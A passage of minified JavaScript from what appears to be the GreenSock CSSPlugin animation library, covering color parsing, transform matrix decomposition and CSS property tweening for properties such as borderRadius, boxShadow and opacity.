t?o=t:(s=360,n=t.split("_"),a=Number(n[0].replace(v,""))*(-1===t.indexOf("rad")?1:L)-("="===t.charAt(1)?0:e),n.length&&(r&&(r[i]=e+a),-1!==t.indexOf("short")&&(a%=s,a!==a%(s/2)&&(a=0>a?a+s:a-s)),-1!==t.indexOf("_cw")&&0>a?a=(a+9999999999*s)%s-(0|a/s)*s:-1!==t.indexOf("ccw")&&a>0&&(a=(a-9999999999*s)%s-(0|a/s)*s)),o=e+a),l>o&&o>-l&&(o=0),o},ne={aqua:[0,255,255],lime:[0,255,0],silver:[192,192,192],black:[0,0,0],maroon:[128,0,0],teal:[0,128,128],blue:[0,0,255],navy:[0,0,128],white:[255,255,255],fuchsia:[255,0,255],olive:[128,128,0],yellow:[255,255,0],orange:[255,165,0],gray:[128,128,128],purple:[128,0,128],green:[0,128,0],red:[255,0,0],pink:[255,192,203],cyan:[0,255,255],transparent:[255,255,255,0]},ae=function(t,e,i){return t=0>t?t+1:t>1?t-1:t,0|255*(1>6*t?e+6*(i-e)*t:.5>t?i:2>3*t?e+6*(i-e)*(2/3-t):e)+.5},oe=function(t){var e,i,r,s,n,a;return t&&""!==t?"number"==typeof t?[t>>16,255&t>>8,255&t]:(","===t.charAt(t.length-1)&&(t=t.substr(0,t.length-1)),ne[t]?ne[t]:"#"===t.charAt(0)?(4===t.length&&(e=t.charAt(1),i=t.charAt(2),r=t.charAt(3),t="#"+e+e+i+i+r+r),t=parseInt(t.substr(1),16),[t>>16,255&t>>8,255&t]):"hsl"===t.substr(0,3)?(t=t.match(d),s=Number(t[0])%360/360,n=Number(t[1])/100,a=Number(t[2])/100,i=.5>=a?a*(n+1):a+n-a*n,e=2*a-i,t.length>3&&(t[3]=Number(t[3])),t[0]=ae(s+1/3,e,i),t[1]=ae(s,e,i),t[2]=ae(s-1/3,e,i),t):(t=t.match(d)||ne.transparent,t[0]=Number(t[0]),t[1]=Number(t[1]),t[2]=Number(t[2]),t.length>3&&(t[3]=Number(t[3])),t)):ne.black},le="(?:\\b(?:(?:rgb|rgba|hsl|hsla)\\(.+?\\))|\\B#.+?\\b";for(l in ne)le+="|"+l+"\\b";le=RegExp(le+")","gi");var he=function(t,e,i,r){if(null==t)return function(t){return t};var s,n=e?(t.match(le)||[""])[0]:"",a=t.split(n).join("").match(g)||[],o=t.substr(0,t.indexOf(a[0])),l=")"===t.charAt(t.length-1)?")":"",h=-1!==t.indexOf(" ")?" ":",",u=a.length,f=u>0?a[0].replace(d,""):"";return u?s=e?function(t){var e,p,_,c;if("number"==typeof t)t+=f;else if(r&&D.test(t)){for(c=t.replace(D,"|").split("|"),_=0;c.length>_;_++)c[_]=s(c[_]);return c.join(",")}if(e=(t.match(le)||[n])[0],p=t.split(e).join("").match(g)||[],_=p.length,u>_--)for(;u>++_;)p[_]=i?p[0|(_-1)/2]:a[_];return o+p.join(h)+h+e+l+(-1!==t.indexOf("inset")?" inset":"")}:function(t){var e,n,p;if("number"==typeof t)t+=f;else if(r&&D.test(t)){for(n=t.replace(D,"|").split("|"),p=0;n.length>p;p++)n[p]=s(n[p]);return n.join(",")}if(e=t.match(g)||[],p=e.length,u>p--)for(;u>++p;)e[p]=i?e[0|(p-1)/2]:a[p];return o+e.join(h)+l}:function(t){return t}},ue=function(t){return t=t.split(","),function(e,i,r,s,n,a,o){var l,h=(i+"").split(" ");for(o={},l=0;4>l;l++)o[t[l]]=h[l]=h[l]||h[(l-1)/2>>0];return s.parse(e,o,n,a)}},fe=(E._setPluginRatio=function(t){this.plugin.setRatio(t);for(var e,i,r,s,n=this.data,a=n.proxy,o=n.firstMPT,l=1e-6;o;)e=a[o.v],o.r?e=Math.round(e):l>e&&e>-l&&(e=0),o.t[o.p]=e,o=o._next;if(n.autoRotate&&(n.autoRotate.rotation=a.rotation),1===t)for(o=n.firstMPT;o;){if(i=o.t,i.type){if(1===i.type){for(s=i.xs0+i.s+i.xs1,r=1;i.l>r;r++)s+=i["xn"+r]+i["xs"+(r+1)];i.e=s}}else i.e=i.s+i.xs0;o=o._next}},function(t,e,i,r,s){this.t=t,this.p=e,this.v=i,this.r=s,r&&(r._prev=this,this._next=r)}),pe=(E._parseToProxy=function(t,e,i,r,s,n){var a,o,l,h,u,f=r,p={},_={},c=i._transform,d=N;for(i._transform=null,N=e,r=u=i.parse(t,e,r,s),N=d,n&&(i._transform=c,f&&(f._prev=null,f._prev&&(f._prev._next=null)));r&&r!==f;){if(1>=r.type&&(o=r.p,_[o]=r.s+r.c,p[o]=r.s,n||(h=new fe(r,"s",o,h,r.r),r.c=0),1===r.type))for(a=r.l;--a>0;)l="xn"+a,o=r.p+"_"+l,_[o]=r.data[l],p[o]=r[l],n||(h=new fe(r,l,o,h,r.rxp[l]));r=r._next}return{proxy:p,end:_,firstMPT:h,pt:u}},E.CSSPropTween=function(t,e,r,s,a,o,l,h,u,f,p){this.t=t,this.p=e,this.s=r,this.c=s,this.n=l||e,t instanceof pe||n.push(this.n),this.r=h,this.type=o||0,u&&(this.pr=u,i=!0),this.b=void 0===f?r:f,this.e=void 0===p?r+s:p,a&&(this._next=a,a._prev=this)}),_e=a.parseComplex=function(t,e,i,r,s,n,a,o,l,u){i=i||n||"",a=new pe(t,e,0,0,a,u?2:1,null,!1,o,i,r),r+="";var f,p,_,c,g,v,y,T,x,w,P,S,k=i.split(", ").join(",").split(" "),R=r.split(", ").join(",").split(" "),C=k.length,A=h!==!1;for((-1!==r.indexOf(",")||-1!==i.indexOf(","))&&(k=k.join(" ").replace(D,", ").split(" "),R=R.join(" ").replace(D,", ").split(" "),C=k.length),C!==R.length&&(k=(n||"").split(" "),C=k.length),a.plugin=l,a.setRatio=u,f=0;C>f;f++)if(c=k[f],g=R[f],T=parseFloat(c),T||0===T)a.appendXtra("",T,ie(g,T),g.replace(m,""),A&&-1!==g.indexOf("px"),!0);else if(s&&("#"===c.charAt(0)||ne[c]||b.test(c)))S=","===g.charAt(g.length-1)?"),":")",c=oe(c),g=oe(g),x=c.length+g.length>6,x&&!Y&&0===g[3]?(a["xs"+a.l]+=a.l?" transparent":"transparent",a.e=a.e.split(R[f]).join("transparent")):(Y||(x=!1),a.appendXtra(x?"rgba(":"rgb(",c[0],g[0]-c[0],",",!0,!0).appendXtra("",c[1],g[1]-c[1],",",!0).appendXtra("",c[2],g[2]-c[2],x?",":S,!0),x&&(c=4>c.length?1:c[3],a.appendXtra("",c,(4>g.length?1:g[3])-c,S,!1)));else if(v=c.match(d)){if(y=g.match(m),!y||y.length!==v.length)return a;for(_=0,p=0;v.length>p;p++)P=v[p],w=c.indexOf(P,_),a.appendXtra(c.substr(_,w-_),Number(P),ie(y[p],P),"",A&&"px"===c.substr(w+P.length,2),0===p),_=w+P.length;a["xs"+a.l]+=c.substr(_)}else a["xs"+a.l]+=a.l?" "+c:c;if(-1!==r.indexOf("=")&&a.data){for(S=a.xs0+a.data.s,f=1;a.l>f;f++)S+=a["xs"+f]+a.data["xn"+f];a.e=S+a["xs"+f]}return a.l||(a.type=-1,a.xs0=a.e),a.xfirst||a},ce=9;for(l=pe.prototype,l.l=l.pr=0;--ce>0;)l["xn"+ce]=0,l["xs"+ce]="";l.xs0="",l._next=l._prev=l.xfirst=l.data=l.plugin=l.setRatio=l.rxp=null,l.appendXtra=function(t,e,i,r,s,n){var a=this,o=a.l;return a["xs"+o]+=n&&o?" "+t:t||"",i||0===o||a.plugin?(a.l++,a.type=a.setRatio?2:1,a["xs"+a.l]=r||"",o>0?(a.data["xn"+o]=e+i,a.rxp["xn"+o]=s,a["xn"+o]=e,a.plugin||(a.xfirst=new pe(a,"xn"+o,e,i,a.xfirst||a,0,a.n,s,a.pr),a.xfirst.xs0=0),a):(a.data={s:e+i},a.rxp={},a.s=e,a.c=i,a.r=s,a)):(a["xs"+o]+=e+(r||""),a)};var de=function(t,e){e=e||{},this.p=e.prefix?V(t)||t:t,o[t]=o[this.p]=this,this.format=e.formatter||he(e.defaultValue,e.color,e.collapsible,e.multi),e.parser&&(this.parse=e.parser),this.clrs=e.color,this.multi=e.multi,this.keyword=e.keyword,this.dflt=e.defaultValue,this.pr=e.priority||0},me=E._registerComplexSpecialProp=function(t,e,i){"object"!=typeof e&&(e={parser:i});var r,s,n=t.split(","),a=e.defaultValue;for(i=i||[a],r=0;n.length>r;r++)e.prefix=0===r&&e.prefix,e.defaultValue=i[r]||a,s=new de(n[r],e)},ge=function(t){if(!o[t]){var e=t.charAt(0).toUpperCase()+t.substr(1)+"Plugin";me(t,{parser:function(t,i,r,s,n,a,l){var h=(_gsScope.GreenSockGlobals||_gsScope).com.greensock.plugins[e];return h?(h._cssRegister(),o[r].parse(t,i,r,s,n,a,l)):(U("Error: "+e+" js file not loaded."),n)}})}};l=de.prototype,l.parseComplex=function(t,e,i,r,s,n){var a,o,l,h,u,f,p=this.keyword;if(this.multi&&(D.test(i)||D.test(e)?(o=e.replace(D,"|").split("|"),l=i.replace(D,"|").split("|")):p&&(o=[e],l=[i])),l){for(h=l.length>o.length?l.length:o.length,a=0;h>a;a++)e=o[a]=o[a]||this.dflt,i=l[a]=l[a]||this.dflt,p&&(u=e.indexOf(p),f=i.indexOf(p),u!==f&&(i=-1===f?l:o,i[a]+=" "+p));e=o.join(", "),i=l.join(", ")}return _e(t,this.p,e,i,this.clrs,this.dflt,r,this.pr,s,n)},l.parse=function(t,e,i,r,n,a){return this.parseComplex(t.style,this.format(H(t,this.p,s,!1,this.dflt)),this.format(e),n,a)},a.registerSpecialProp=function(t,e,i){me(t,{parser:function(t,r,s,n,a,o){var l=new pe(t,s,0,0,a,2,s,!1,i);return l.plugin=o,l.setRatio=e(t,r,n._tween,s),l},priority:i})};var ve="scaleX,scaleY,scaleZ,x,y,z,skewX,skewY,rotation,rotationX,rotationY,perspective,xPercent,yPercent".split(","),ye=V("transform"),Te=j+"transform",xe=V("transformOrigin"),we=null!==V("perspective"),be=E.Transform=function(){this.skewY=0},Pe=E.getTransform=function(t,e,i,r){if(t._gsTransform&&i&&!r)return t._gsTransform;var s,n,o,l,h,u,f,p,_,c,d,m,g,v=i?t._gsTransform||new be:new be,y=0>v.scaleX,T=2e-5,x=1e5,w=179.99,b=w*M,P=we?parseFloat(H(t,xe,e,!1,"0 0 0").split(" ")[2])||v.zOrigin||0:0;if(ye?s=H(t,Te,e,!0):t.currentStyle&&(s=t.currentStyle.filter.match(A),s=s&&4===s.length?[s[0].substr(4),Number(s[2].substr(4)),Number(s[1].substr(4)),s[3].substr(4),v.x||0,v.y||0].join(","):""),s&&"none"!==s&&"matrix(1, 0, 0, 1, 0, 0)"!==s){for(n=(s||"").match(/(?:\-|\b)[\d\-\.e]+\b/gi)||[],o=n.length;--o>-1;)l=Number(n[o]),n[o]=(h=l-(l|=0))?(0|h*x+(0>h?-.5:.5))/x+l:l;if(16===n.length){var S=n[8],k=n[9],R=n[10],C=n[12],O=n[13],D=n[14];if(v.zOrigin&&(D=-v.zOrigin,C=S*D-n[12],O=k*D-n[13],D=R*D+v.zOrigin-n[14]),!i||r||null==v.rotationX){var N,X,z,I,E,F,Y,B=n[0],U=n[1],j=n[2],W=n[3],V=n[4],q=n[5],Q=n[6],G=n[7],Z=n[11],$=Math.atan2(Q,R),K=-b>$||$>b;v.rotationX=$*L,$&&(I=Math.cos(-$),E=Math.sin(-$),N=V*I+S*E,X=q*I+k*E,z=Q*I+R*E,S=V*-E+S*I,k=q*-E+k*I,R=Q*-E+R*I,Z=G*-E+Z*I,V=N,q=X,Q=z),$=Math.atan2(S,B),v.rotationY=$*L,$&&(F=-b>$||$>b,I=Math.cos(-$),E=Math.sin(-$),N=B*I-S*E,X=U*I-k*E,z=j*I-R*E,k=U*E+k*I,R=j*E+R*I,Z=W*E+Z*I,B=N,U=X,j=z),$=Math.atan2(U,q),v.rotation=$*L,$&&(Y=-b>$||$>b,I=Math.cos(-$),E=Math.sin(-$),B=B*I+V*E,X=U*I+q*E,q=U*-E+q*I,Q=j*-E+Q*I,U=X),Y&&K?v.rotation=v.rotationX=0:Y&&F?v.rotation=v.rotationY=0:F&&K&&(v.rotationY=v.rotationX=0),v.scaleX=(0|Math.sqrt(B*B+U*U)*x+.5)/x,v.scaleY=(0|Math.sqrt(q*q+k*k)*x+.5)/x,v.scaleZ=(0|Math.sqrt(Q*Q+R*R)*x+.5)/x,v.skewX=0,v.perspective=Z?1/(0>Z?-Z:Z):0,v.x=C,v.y=O,v.z=D}}else if(!(we&&!r&&n.length&&v.x===n[4]&&v.y===n[5]&&(v.rotationX||v.rotationY)||void 0!==v.x&&"none"===H(t,"display",e))){var J=n.length>=6,te=J?n[0]:1,ee=n[1]||0,ie=n[2]||0,re=J?n[3]:1;v.x=n[4]||0,v.y=n[5]||0,u=Math.sqrt(te*te+ee*ee),f=Math.sqrt(re*re+ie*ie),p=te||ee?Math.atan2(ee,te)*L:v.rotation||0,_=ie||re?Math.atan2(ie,re)*L+p:v.skewX||0,c=u-Math.abs(v.scaleX||0),d=f-Math.abs(v.scaleY||0),Math.abs(_)>90&&270>Math.abs(_)&&(y?(u*=-1,_+=0>=p?180:-180,p+=0>=p?180:-180):(f*=-1,_+=0>=_?180:-180)),m=(p-v.rotation)%180,g=(_-v.skewX)%180,(void 0===v.skewX||c>T||-T>c||d>T||-T>d||m>-w&&w>m&&false|m*x||g>-w&&w>g&&false|g*x)&&(v.scaleX=u,v.scaleY=f,v.rotation=p,v.skewX=_),we&&(v.rotationX=v.rotationY=v.z=0,v.perspective=parseFloat(a.defaultTransformPerspective)||0,v.scaleZ=1)}v.zOrigin=P;for(o in v)T>v[o]&&v[o]>-T&&(v[o]=0)}else v={x:0,y:0,z:0,scaleX:1,scaleY:1,scaleZ:1,skewX:0,perspective:0,rotation:0,rotationX:0,rotationY:0,zOrigin:0};return i&&(t._gsTransform=v),v.xPercent=v.yPercent=0,v},Se=function(t){var e,i,r=this.data,s=-r.rotation*M,n=s+r.skewX*M,a=1e5,o=(0|Math.cos(s)*r.scaleX*a)/a,l=(0|Math.sin(s)*r.scaleX*a)/a,h=(0|Math.sin(n)*-r.scaleY*a)/a,u=(0|Math.cos(n)*r.scaleY*a)/a,f=this.t.style,p=this.t.currentStyle;if(p){i=l,l=-h,h=-i,e=p.filter,f.filter="";var _,d,m=this.t.offsetWidth,g=this.t.offsetHeight,v="absolute"!==p.position,x="progid:DXImageTransform.Microsoft.Matrix(M11="+o+", M12="+l+", M21="+h+", M22="+u,w=r.x+m*r.xPercent/100,b=r.y+g*r.yPercent/100;if(null!=r.ox&&(_=(r.oxp?.01*m*r.ox:r.ox)-m/2,d=(r.oyp?.01*g*r.oy:r.oy)-g/2,w+=_-(_*o+d*l),b+=d-(_*h+d*u)),v?(_=m/2,d=g/2,x+=", Dx="+(_-(_*o+d*l)+w)+", Dy="+(d-(_*h+d*u)+b)+")"):x+=", sizingMethod='auto expand')",f.filter=-1!==e.indexOf("DXImageTransform.Microsoft.Matrix(")?e.replace(O,x):x+" "+e,(0===t||1===t)&&1===o&&0===l&&0===h&&1===u&&(v&&-1===x.indexOf("Dx=0, Dy=0")||T.test(e)&&100!==parseFloat(RegExp.$1)||-1===e.indexOf("gradient("&&e.indexOf("Alpha"))&&f.removeAttribute("filter")),!v){var P,S,k,R=8>c?1:-1;for(_=r.ieOffsetX||0,d=r.ieOffsetY||0,r.ieOffsetX=Math.round((m-((0>o?-o:o)*m+(0>l?-l:l)*g))/2+w),r.ieOffsetY=Math.round((g-((0>u?-u:u)*g+(0>h?-h:h)*m))/2+b),ce=0;4>ce;ce++)S=J[ce],P=p[S],i=-1!==P.indexOf("px")?parseFloat(P):Q(this.t,S,parseFloat(P),P.replace(y,""))||0,k=i!==r[S]?2>ce?-r.ieOffsetX:-r.ieOffsetY:2>ce?_-r.ieOffsetX:d-r.ieOffsetY,f[S]=(r[S]=Math.round(i-k*(0===ce||2===ce?1:R)))+"px"}}},ke=E.set3DTransformRatio=function(t){var e,i,r,s,n,a,o,l,h,u,f,_,c,d,m,g,v,y,T,x,w,b,P,S=this.data,k=this.t.style,R=S.rotation*M,C=S.scaleX,A=S.scaleY,O=S.scaleZ,D=S.x,L=S.y,N=S.z,X=S.perspective;if(!(1!==t&&0!==t||"auto"!==S.force3D||S.rotationY||S.rotationX||1!==O||X||N))return Re.call(this,t),void 0;if(p){var z=1e-4;z>C&&C>-z&&(C=O=2e-5),z>A&&A>-z&&(A=O=2e-5),!X||S.z||S.rotationX||S.rotationY||(X=0)}if(R||S.skewX)y=Math.cos(R),T=Math.sin(R),e=y,n=T,S.skewX&&(R-=S.skewX*M,y=Math.cos(R),T=Math.sin(R),"simple"===S.skewType&&(x=Math.tan(S.skewX*M),x=Math.sqrt(1+x*x),y*=x,T*=x)),i=-T,a=y;else{if(!(S.rotationY||S.rotationX||1!==O||X))return k[ye]=(S.xPercent||S.yPercent?"translate("+S.xPercent+"%,"+S.yPercent+"%) translate3d(":"translate3d(")+D+"px,"+L+"px,"+N+"px)"+(1!==C||1!==A?" scale("+C+","+A+")":""),void 0;e=a=1,i=n=0}f=1,r=s=o=l=h=u=_=c=d=0,m=X?-1/X:0,g=S.zOrigin,v=1e5,R=S.rotationY*M,R&&(y=Math.cos(R),T=Math.sin(R),h=f*-T,c=m*-T,r=e*T,o=n*T,f*=y,m*=y,e*=y,n*=y),R=S.rotationX*M,R&&(y=Math.cos(R),T=Math.sin(R),x=i*y+r*T,w=a*y+o*T,b=u*y+f*T,P=d*y+m*T,r=i*-T+r*y,o=a*-T+o*y,f=u*-T+f*y,m=d*-T+m*y,i=x,a=w,u=b,d=P),1!==O&&(r*=O,o*=O,f*=O,m*=O),1!==A&&(i*=A,a*=A,u*=A,d*=A),1!==C&&(e*=C,n*=C,h*=C,c*=C),g&&(_-=g,s=r*_,l=o*_,_=f*_+g),s=(x=(s+=D)-(s|=0))?(0|x*v+(0>x?-.5:.5))/v+s:s,l=(x=(l+=L)-(l|=0))?(0|x*v+(0>x?-.5:.5))/v+l:l,_=(x=(_+=N)-(_|=0))?(0|x*v+(0>x?-.5:.5))/v+_:_,k[ye]=(S.xPercent||S.yPercent?"translate("+S.xPercent+"%,"+S.yPercent+"%) matrix3d(":"matrix3d(")+[(0|e*v)/v,(0|n*v)/v,(0|h*v)/v,(0|c*v)/v,(0|i*v)/v,(0|a*v)/v,(0|u*v)/v,(0|d*v)/v,(0|r*v)/v,(0|o*v)/v,(0|f*v)/v,(0|m*v)/v,s,l,_,X?1+-_/X:1].join(",")+")"},Re=E.set2DTransformRatio=function(t){var e,i,r,s,n,a=this.data,o=this.t,l=o.style,h=a.x,u=a.y;return a.rotationX||a.rotationY||a.z||a.force3D===!0||"auto"===a.force3D&&1!==t&&0!==t?(this.setRatio=ke,ke.call(this,t),void 0):(a.rotation||a.skewX?(e=a.rotation*M,i=e-a.skewX*M,r=1e5,s=a.scaleX*r,n=a.scaleY*r,l[ye]=(a.xPercent||a.yPercent?"translate("+a.xPercent+"%,"+a.yPercent+"%) matrix(":"matrix(")+(0|Math.cos(e)*s)/r+","+(0|Math.sin(e)*s)/r+","+(0|Math.sin(i)*-n)/r+","+(0|Math.cos(i)*n)/r+","+h+","+u+")"):l[ye]=(a.xPercent||a.yPercent?"translate("+a.xPercent+"%,"+a.yPercent+"%) matrix(":"matrix(")+a.scaleX+",0,0,"+a.scaleY+","+h+","+u+")",void 0)};me("transform,scale,scaleX,scaleY,scaleZ,x,y,z,rotation,rotationX,rotationY,rotationZ,skewX,skewY,shortRotation,shortRotationX,shortRotationY,shortRotationZ,transformOrigin,transformPerspective,directionalRotation,parseTransform,force3D,skewType,xPercent,yPercent",{parser:function(t,e,i,r,n,o,l){if(r._transform)return n;var h,u,f,p,_,c,d,m=r._transform=Pe(t,s,!0,l.parseTransform),g=t.style,v=1e-6,y=ve.length,T=l,x={};if("string"==typeof T.transform&&ye)f=z.style,f[ye]=T.transform,f.display="block",f.position="absolute",X.body.appendChild(z),h=Pe(z,null,!1),X.body.removeChild(z);else if("object"==typeof T){if(h={scaleX:re(null!=T.scaleX?T.scaleX:T.scale,m.scaleX),scaleY:re(null!=T.scaleY?T.scaleY:T.scale,m.scaleY),scaleZ:re(T.scaleZ,m.scaleZ),x:re(T.x,m.x),y:re(T.y,m.y),z:re(T.z,m.z),xPercent:re(T.xPercent,m.xPercent),yPercent:re(T.yPercent,m.yPercent),perspective:re(T.transformPerspective,m.perspective)},d=T.directionalRotation,null!=d)if("object"==typeof d)for(f in d)T[f]=d[f];else T.rotation=d;"string"==typeof T.x&&-1!==T.x.indexOf("%")&&(h.x=0,h.xPercent=re(T.x,m.xPercent)),"string"==typeof T.y&&-1!==T.y.indexOf("%")&&(h.y=0,h.yPercent=re(T.y,m.yPercent)),h.rotation=se("rotation"in T?T.rotation:"shortRotation"in T?T.shortRotation+"_short":"rotationZ"in T?T.rotationZ:m.rotation,m.rotation,"rotation",x),we&&(h.rotationX=se("rotationX"in T?T.rotationX:"shortRotationX"in T?T.shortRotationX+"_short":m.rotationX||0,m.rotationX,"rotationX",x),h.rotationY=se("rotationY"in T?T.rotationY:"shortRotationY"in T?T.shortRotationY+"_short":m.rotationY||0,m.rotationY,"rotationY",x)),h.skewX=null==T.skewX?m.skewX:se(T.skewX,m.skewX),h.skewY=null==T.skewY?m.skewY:se(T.skewY,m.skewY),(u=h.skewY-m.skewY)&&(h.skewX+=u,h.rotation+=u)}for(we&&null!=T.force3D&&(m.force3D=T.force3D,c=!0),m.skewType=T.skewType||m.skewType||a.defaultSkewType,_=m.force3D||m.z||m.rotationX||m.rotationY||h.z||h.rotationX||h.rotationY||h.perspective,_||null==T.scale||(h.scaleZ=1);--y>-1;)i=ve[y],p=h[i]-m[i],(p>v||-v>p||null!=N[i])&&(c=!0,n=new pe(m,i,m[i],p,n),i in x&&(n.e=x[i]),n.xs0=0,n.plugin=o,r._overwriteProps.push(n.n));return p=T.transformOrigin,(p||we&&_&&m.zOrigin)&&(ye?(c=!0,i=xe,p=(p||H(t,i,s,!1,"50% 50%"))+"",n=new pe(g,i,0,0,n,-1,"transformOrigin"),n.b=g[i],n.plugin=o,we?(f=m.zOrigin,p=p.split(" "),m.zOrigin=(p.length>2&&(0===f||"0px"!==p[2])?parseFloat(p[2]):f)||0,n.xs0=n.e=p[0]+" "+(p[1]||"50%")+" 0px",n=new pe(m,"zOrigin",0,0,n,-1,n.n),n.b=f,n.xs0=n.e=m.zOrigin):n.xs0=n.e=p):ee(p+"",m)),c&&(r._transformType=_||3===this._transformType?3:2),n},prefix:!0}),me("boxShadow",{defaultValue:"0px 0px 0px 0px #999",prefix:!0,color:!0,multi:!0,keyword:"inset"}),me("borderRadius",{defaultValue:"0px",parser:function(t,e,i,n,a){e=this.format(e);var o,l,h,u,f,p,_,c,d,m,g,v,y,T,x,w,b=["borderTopLeftRadius","borderTopRightRadius","borderBottomRightRadius","borderBottomLeftRadius"],P=t.style;for(d=parseFloat(t.offsetWidth),m=parseFloat(t.offsetHeight),o=e.split(" "),l=0;b.length>l;l++)this.p.indexOf("border")&&(b[l]=V(b[l])),f=u=H(t,b[l],s,!1,"0px"),-1!==f.indexOf(" ")&&(u=f.split(" "),f=u[0],u=u[1]),p=h=o[l],_=parseFloat(f),v=f.substr((_+"").length),y="="===p.charAt(1),y?(c=parseInt(p.charAt(0)+"1",10),p=p.substr(2),c*=parseFloat(p),g=p.substr((c+"").length-(0>c?1:0))||""):(c=parseFloat(p),g=p.substr((c+"").length)),""===g&&(g=r[i]||v),g!==v&&(T=Q(t,"borderLeft",_,v),x=Q(t,"borderTop",_,v),"%"===g?(f=100*(T/d)+"%",u=100*(x/m)+"%"):"em"===g?(w=Q(t,"borderLeft",1,"em"),f=T/w+"em",u=x/w+"em"):(f=T+"px",u=x+"px"),y&&(p=parseFloat(f)+c+g,h=parseFloat(u)+c+g)),a=_e(P,b[l],f+" "+u,p+" "+h,!1,"0px",a);return a},prefix:!0,formatter:he("0px 0px 0px 0px",!1,!0)}),me("backgroundPosition",{defaultValue:"0 0",parser:function(t,e,i,r,n,a){var o,l,h,u,f,p,_="background-position",d=s||q(t,null),m=this.format((d?c?d.getPropertyValue(_+"-x")+" "+d.getPropertyValue(_+"-y"):d.getPropertyValue(_):t.currentStyle.backgroundPositionX+" "+t.currentStyle.backgroundPositionY)||"0 0"),g=this.format(e);if(-1!==m.indexOf("%")!=(-1!==g.indexOf("%"))&&(p=H(t,"backgroundImage").replace(k,""),p&&"none"!==p)){for(o=m.split(" "),l=g.split(" "),I.setAttribute("src",p),h=2;--h>-1;)m=o[h],u=-1!==m.indexOf("%"),u!==(-1!==l[h].indexOf("%"))&&(f=0===h?t.offsetWidth-I.width:t.offsetHeight-I.height,o[h]=u?parseFloat(m)/100*f+"px":100*(parseFloat(m)/f)+"%");m=o.join(" ")}return this.parseComplex(t.style,m,g,n,a)},formatter:ee}),me("backgroundSize",{defaultValue:"0 0",formatter:ee}),me("perspective",{defaultValue:"0px",prefix:!0}),me("perspectiveOrigin",{defaultValue:"50% 50%",prefix:!0}),me("transformStyle",{prefix:!0}),me("backfaceVisibility",{prefix:!0}),me("userSelect",{prefix:!0}),me("margin",{parser:ue("marginTop,marginRight,marginBottom,marginLeft")}),me("padding",{parser:ue("paddingTop,paddingRight,paddingBottom,paddingLeft")}),me("clip",{defaultValue:"rect(0px,0px,0px,0px)",parser:function(t,e,i,r,n,a){var o,l,h;return 9>c?(l=t.currentStyle,h=8>c?" ":",",o="rect("+l.clipTop+h+l.clipRight+h+l.clipBottom+h+l.clipLeft+")",e=this.format(e).split(",").join(h)):(o=this.format(H(t,this.p,s,!1,this.dflt)),e=this.format(e)),this.parseComplex(t.style,o,e,n,a)}}),me("textShadow",{defaultValue:"0px 0px 0px #999",color:!0,multi:!0}),me("autoRound,strictUnits",{parser:function(t,e,i,r,s){return s}}),me("border",{defaultValue:"0px solid #000",parser:function(t,e,i,r,n,a){return this.parseComplex(t.style,this.format(H(t,"borderTopWidth",s,!1,"0px")+" "+H(t,"borderTopStyle",s,!1,"solid")+" "+H(t,"borderTopColor",s,!1,"#000")),this.format(e),n,a)},color:!0,formatter:function(t){var e=t.split(" ");return e[0]+" "+(e[1]||"solid")+" "+(t.match(le)||["#000"])[0]}}),me("borderWidth",{parser:ue("borderTopWidth,borderRightWidth,borderBottomWidth,borderLeftWidth")}),me("float,cssFloat,styleFloat",{parser:function(t,e,i,r,s){var n=t.style,a="cssFloat"in n?"cssFloat":"styleFloat";return new pe(n,a,0,0,s,-1,i,!1,0,n[a],e)}});var Ce=function(t){var e,i=this.t,r=i.filter||H(this.data,"filter"),s=0|this.s+this.c*t;100===s&&(-1===r.indexOf("atrix(")&&-1===r.indexOf("radient(")&&-1===r.indexOf("oader(")?(i.removeAttribute("filter"),e=!H(this.data,"filter")):(i.filter=r.replace(w,""),e=!0)),e||(this.xn1&&(i.filter=r=r||"alpha(opacity="+s+")"),-1===r.indexOf("pacity")?0===s&&this.xn1||(i.filter=r+" alpha(opacity="+s+")"):i.filter=r.replace(T,"opacity="+s))};me("opacity,alpha,autoAlpha",{defaultValue:"1",parser:function(t,e,i,r,n,a){var o=parseFloat(H(t,"opacity",s,!1,"1")),l=t.style,h="autoAlpha"===i;return"string"==typeof e&&"="===e.charAt(1)&&(e=("-"===e.charAt(0)?-1:1)*parseFloat(e.substr(2))+o),h&&1===o&&"hidden"===H(t,"visibility",s)&&0!==e&&(o=0),Y?n=new pe(l,"opacity",o,e-o,n):(n=new pe(l,"opacity",100*o,100*(e-o),n),n.xn1=h?1:0,l.zoom=1,n.type=2,n.b="alpha(opacity="+n.s+")",n.e="alpha(opacity="+(n.s+n.c)+")",n.data=t,n.plugin=a,n.setRatio=Ce),h&&(n=new pe(l,"visibility",0,0,n,-1,null,!1,0,0!==o?"inherit":"hidden",0===e?"hidden":"inherit"),n.xs0="inherit",r._overwriteProps.push(n.n),r._overwriteProps.push(i)),n}});var Ae=function(t,e){e&&(t.removeProperty?("ms"===e.substr(0,2)&&(e="M"+e.substr(1)),t.removeProperty(e.replace(P,"-$1").toLowerCase())):t.removeAttribute(e))},Oe=function(t){if(this.t._gsClassPT=this,1===t||0===t){this.t.setAttribute("class",0===t?this.b:this.e);for(var e=this.data,i=this.t.style;e;)e.v?i[e.p]=e.v:Ae(i,e.p),e=e._next;1===t&&this.t._gsClassPT===this&&(this.t._gsClassPT=null)}else this.t.getAttribute("class")!==this.e&&this.t.setAttribute("class",this.e)};me("className",{parser:function(t,e,r,n,a,o,l){var h,u,f,p,_,c=t.getAttribute("class")||"",d=t.style.cssText;if(a=n._classNamePT=new pe(t,r,0,0,a,2),a.setRatio=Oe,a.pr=-11,i=!0,a.b=c,u=Z(t,s),f=t._gsClassPT){for(p={},_=f.data;_;)p[_.p]=1,_=_._next;f.setRatio(1)}return t._gsClassPT=a,a.e="="!==e.charAt(1)?e:c.replace(RegExp("\\s*\\b"+e.substr(2)+"\\b"),"")+("+"===e.charAt(0)?" "+e.substr(2):""),n._tween._duration&&(t.setAttribute("class",a.e),h=$(t,u,Z(t),l,p),t.setAttribute("class",c),a.data=h.firstMPT,t.style.cssText=d,a=a.xfirst=n.parse(t,h.difs,a,o)),a}});var De=function(t){if((1===t||0===t)&&this.data._totalTime===this.data._totalDuration&&"isFromStart"!==this.data.data){var e,i,r,s,n=this.t.style,a=o.transform.parse;if("all"===this.e)n.cssText="",s=!0;else for(e=this.e.split(","),r=e.length;--r>-1;)i=e[r],o[i]&&(o[i].parse===a?s=!0:i="transformOrigin"===i?xe:o[i].p),Ae(n,i);s&&(Ae(n,ye),this.t._gsTransform&&delete this.t._gsTransform)}};for(me("clearProps",{parser:function(t,e,r,s,n){return n=new 